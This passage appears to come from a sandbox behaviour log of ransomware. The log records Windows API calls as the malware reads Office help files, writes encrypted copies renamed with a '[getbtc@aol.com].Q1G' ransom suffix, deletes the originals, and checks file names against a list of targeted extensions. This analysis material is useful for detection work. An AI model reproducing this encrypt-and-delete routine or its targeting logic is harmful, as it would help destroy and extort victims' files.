Office\\Office14\\1033\\WINWORD.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0256.879] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=211) returned 1 [0256.879] CloseHandle (hObject=0x360) returned 1 [0256.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt")) returned 0x20 [0256.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0256.880] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.880] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0256.880] GetLastError () returned 0x0 [0256.880] ReadFile (in: hFile=0x360, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0xd3, lpOverlapped=0x0) returned 1 [0256.881] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0256.882] ReadFile (in: hFile=0x360, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0256.882] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xfa, lpOverlapped=0x0) returned 1 [0256.882] SetEndOfFile (hFile=0x3c0) returned 1 [0256.882] CloseHandle (hObject=0x3c0) returned 1 [0256.882] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.882] SetEndOfFile (hFile=0x360) returned 1 [0256.885] CloseHandle (hObject=0x360) returned 1 [0256.885] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.885] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt")) returned 1 [0256.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0256.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0256.885] lstrlenW (lpString=".doc") returned 4 [0256.885] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0256.886] lstrlenW (lpString=".docx") returned 5 [0256.886] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0256.886] lstrlenW (lpString=".pdf") returned 4 [0256.886] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0256.886] lstrlenW (lpString=".xls") returned 4 [0256.886] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0256.886] lstrlenW (lpString=".xlsx") returned 5 [0256.886] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0256.886] lstrlenW (lpString=".ppt") returned 4 [0256.886] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0256.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0256.886] lstrlenW (lpString=".zip") returned 4 [0256.886] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0256.886] lstrlenW (lpString=".rar") returned 4 [0256.886] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0256.886] lstrlenW (lpString=".bz2") returned 4 [0256.886] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0256.886] lstrlenW (lpString=".7z") returned 3 [0256.886] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0256.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0256.886] lstrlenW (lpString=".dbf") returned 4 [0256.886] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0256.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0256.886] lstrlenW (lpString=".1cd") returned 4 [0256.886] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0256.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0256.886] lstrlenW (lpString=".jpg") returned 4 [0256.886] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0256.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0256.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0256.886] lstrlenW (lpString=".doc") returned 4 [0256.886] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0256.886] lstrlenW (lpString=".docx") returned 5 [0256.886] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0256.886] lstrlenW (lpString=".pdf") returned 4 [0256.887] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0256.887] lstrlenW (lpString=".xls") returned 4 [0256.887] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0256.887] lstrlenW (lpString=".xlsx") returned 5 [0256.887] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0256.887] lstrlenW (lpString=".ppt") returned 4 [0256.887] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0256.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0256.887] lstrlenW (lpString=".zip") returned 4 [0256.887] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0256.887] lstrlenW (lpString=".rar") returned 4 [0256.887] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0256.887] lstrlenW (lpString=".bz2") returned 4 [0256.887] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0256.887] lstrlenW (lpString=".7z") returned 3 [0256.887] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0256.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0256.887] lstrlenW (lpString=".dbf") returned 4 [0256.887] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0256.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0256.887] lstrlenW (lpString=".1cd") returned 4 [0256.887] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0256.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0256.887] lstrlenW (lpString=".jpg") returned 4 [0256.887] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0256.887] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0256.887] lstrlenW (lpString="WINWORD.DEV_F_COL.HXK") returned 21 [0256.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0256.888] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=114) returned 1 [0256.888] CloseHandle (hObject=0x360) returned 1 [0256.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk")) returned 0x20 [0256.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0256.888] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.888] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0256.889] GetLastError () returned 0x0 [0256.889] ReadFile (in: hFile=0x360, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x72, lpOverlapped=0x0) returned 1 [0256.890] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x80, lpOverlapped=0x0) returned 1 [0256.891] ReadFile (in: hFile=0x360, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0256.891] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xfe, lpOverlapped=0x0) returned 1 [0256.891] SetEndOfFile (hFile=0x3c0) returned 1 [0256.891] CloseHandle (hObject=0x3c0) returned 1 [0256.891] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.891] SetEndOfFile (hFile=0x360) returned 1 [0256.894] CloseHandle (hObject=0x360) returned 1 [0256.894] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.894] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk")) returned 1 [0256.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0256.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0256.895] lstrlenW (lpString=".doc") returned 4 [0256.895] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0256.895] lstrlenW (lpString=".docx") returned 5 [0256.895] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0256.895] lstrlenW (lpString=".pdf") returned 4 [0256.895] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0256.895] lstrlenW (lpString=".xls") returned 4 [0256.895] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0256.895] lstrlenW (lpString=".xlsx") returned 5 [0256.895] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0256.895] lstrlenW (lpString=".ppt") returned 4 [0256.895] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0256.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0256.895] lstrlenW (lpString=".zip") returned 4 [0256.895] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0256.895] lstrlenW (lpString=".rar") returned 4 [0256.895] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0256.895] lstrlenW (lpString=".bz2") returned 4 [0256.895] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0256.895] lstrlenW (lpString=".7z") returned 3 [0256.895] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0256.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0256.895] lstrlenW (lpString=".dbf") returned 4 [0256.895] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0256.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0256.895] lstrlenW (lpString=".1cd") returned 4 [0256.895] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0256.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0256.895] lstrlenW (lpString=".jpg") returned 4 [0256.895] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0256.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0256.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0256.895] lstrlenW (lpString=".doc") returned 4 [0256.896] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0256.896] lstrlenW (lpString=".docx") returned 5 [0256.896] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0256.896] lstrlenW (lpString=".pdf") returned 4 [0256.896] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0256.896] lstrlenW (lpString=".xls") returned 4 [0256.896] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0256.896] lstrlenW (lpString=".xlsx") returned 5 [0256.896] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0256.896] lstrlenW (lpString=".ppt") returned 4 [0256.896] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0256.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0256.896] lstrlenW (lpString=".zip") returned 4 [0256.896] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0256.896] lstrlenW (lpString=".rar") returned 4 [0256.896] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0256.896] lstrlenW (lpString=".bz2") returned 4 [0256.896] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0256.896] lstrlenW (lpString=".7z") returned 3 [0256.896] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0256.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0256.896] lstrlenW (lpString=".dbf") returned 4 [0256.896] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0256.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0256.896] lstrlenW (lpString=".1cd") returned 4 [0256.896] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0256.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0256.896] lstrlenW (lpString=".jpg") returned 4 [0256.896] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0256.896] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0256.896] lstrlenW (lpString="WINWORD.DEV_K_COL.HXK") returned 21 [0256.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0256.897] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=113) returned 1 [0256.897] CloseHandle (hObject=0x360) returned 1 [0256.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk")) returned 0x20 [0256.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0256.898] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.898] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0256.898] GetLastError () returned 0x0 [0256.898] ReadFile (in: hFile=0x360, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x71, lpOverlapped=0x0) returned 1 [0256.899] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x80, lpOverlapped=0x0) returned 1 [0256.900] ReadFile (in: hFile=0x360, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0256.900] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xfe, lpOverlapped=0x0) returned 1 [0256.900] SetEndOfFile (hFile=0x3c0) returned 1 [0256.900] CloseHandle (hObject=0x3c0) returned 1 [0256.900] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.900] SetEndOfFile (hFile=0x360) returned 1 [0256.902] CloseHandle (hObject=0x360) returned 1 [0256.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.903] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk")) returned 1 [0256.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0256.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0256.903] lstrlenW (lpString=".doc") returned 4 [0256.903] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0256.903] lstrlenW (lpString=".docx") returned 5 [0256.903] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0256.903] lstrlenW (lpString=".pdf") returned 4 [0256.903] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0256.903] lstrlenW (lpString=".xls") returned 4 [0256.903] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0256.903] lstrlenW (lpString=".xlsx") returned 5 [0256.903] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0256.904] lstrlenW (lpString=".ppt") returned 4 [0256.904] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0256.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0256.904] lstrlenW (lpString=".zip") returned 4 [0256.904] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0256.904] lstrlenW (lpString=".rar") returned 4 [0256.904] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0256.904] lstrlenW (lpString=".bz2") returned 4 [0256.904] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0256.904] lstrlenW (lpString=".7z") returned 3 [0256.904] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0256.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0256.904] lstrlenW (lpString=".dbf") returned 4 [0256.904] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0256.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0256.904] lstrlenW (lpString=".1cd") returned 4 [0256.904] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0256.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0256.904] lstrlenW (lpString=".jpg") returned 4 [0256.904] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0256.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0256.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0256.904] lstrlenW (lpString=".doc") returned 4 [0256.904] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0256.904] lstrlenW (lpString=".docx") returned 5 [0256.904] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0256.904] lstrlenW (lpString=".pdf") returned 4 [0256.904] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0256.904] lstrlenW (lpString=".xls") returned 4 [0256.904] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0256.904] lstrlenW (lpString=".xlsx") returned 5 [0256.904] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0256.904] lstrlenW (lpString=".ppt") returned 4 [0256.904] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0256.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0256.905] lstrlenW (lpString=".zip") returned 4 [0256.905] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0256.905] lstrlenW (lpString=".rar") returned 4 [0256.905] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0256.905] lstrlenW (lpString=".bz2") returned 4 [0256.905] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0256.905] lstrlenW (lpString=".7z") returned 3 [0256.905] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0256.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0256.905] lstrlenW (lpString=".dbf") returned 4 [0256.905] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0256.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0256.905] lstrlenW (lpString=".1cd") returned 4 [0256.905] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0256.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0256.905] lstrlenW (lpString=".jpg") returned 4 [0256.905] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0256.905] lstrcmpiW (lpString1=".HXS", lpString2=".Q1G") returned -1 [0256.905] lstrlenW (lpString="WINWORD.HXS") returned 11 [0256.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0256.906] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=5240293) returned 1 [0256.906] CloseHandle (hObject=0x360) returned 1 [0256.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 